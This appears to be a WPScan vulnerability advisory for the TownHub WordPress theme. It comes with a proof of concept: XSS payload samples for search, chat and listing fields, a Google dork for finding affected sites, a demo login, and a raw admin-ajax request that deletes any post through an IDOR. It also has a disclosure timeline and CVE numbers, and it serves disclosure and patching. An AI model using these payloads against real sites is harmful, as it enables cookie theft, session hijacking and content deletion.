TownHub < 1.0.6 - Multiple Vulnerabilities

Multiple vulnerabilities was discovered in the «TownHub - Directory & Listing WordPress Theme», tested version — v1.0.2:

- Unauthenticated XSS
- Authenticated Persistent XSS

Edit (WPScanTeam):
December 27h, 2019 - Envato Contacted
January 5th, 2020 - Envato Investigating
January 6th, 2020 - v1.0.6 released
Proof of Concept
----[]- Info: -[]----
Demo website:
Demo account: m0ze2/asdasd (login/password)
PoC listing:
Google Dork: /wp-content/themes/townhub/
Date: 27/12/2019

----[]- Reflected XSS: -[]----
Input field with placeholder «What are you looking for?» on the homepage is vulnerable. Same thing with a regular search (block near website logo).

Payload Sample #0: <img src=x onerror=alert(document.cookie)>
Payload Sample #1: <img src=x onerror=window.location=``;>

PoC #0:

PoC #1:

----[]- Persistent XSS -> Chat: -[]----
Possibility to use any cookie stealing payload to hijack user/administrator session or force redirect to malicious website (from or from chat widget on the bottom right corner).

Payload Sample #0: <img src=x onerror=alert(`m0ze`)>
Payload Sample #1: <img src=x onerror=window.location=``;>

----[]- Persistent XSS -> Listing page: -[]----
Add new listing here (first time you need to order a «Free» plan and go to this URL again).
Vulnerable input fields: «Address», «Latitude (Drag marker on the map)», «Longitude (Drag marker on the map)», «Email Address», «Phone Number» and «Website». Payload inside «Address», «Latitude (Drag marker on the map)» and «Longitude (Drag marker on the map)» input fields also works on the admin dashboard, so it's possible to steal administrator cookies.

Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: "><h1>Greetings from m0ze</h1>
Payload Sample #2: "><script>alert(`PoC`);</script>

----[]- IDOR: -[]----
Delete any post/page/listing:

POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 83
DNT: 1
Connection: close
Cookie: _your_cookies_here_
Pragma: no-cache
Cache-Control: no-cache


lid=XXXX (page/post/listing unique WordPress ID, can be discovered as a page class for <body> tag).

Affects Theme

fixed in version 1.0.6


CVE 2019-20209
CVE 2019-20210
CVE 2019-20211
CVE 2019-20212




Original Researcher m0ze
Submitter m0ze
Submitter Twitter m0ze_ru
Views 130520
Verified Yes
WPVDB ID 10014


Publicly Published 2020-01-09 (5 months ago)
Added 2020-01-09 (5 months ago)
Last Updated 2020-01-14 (5 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin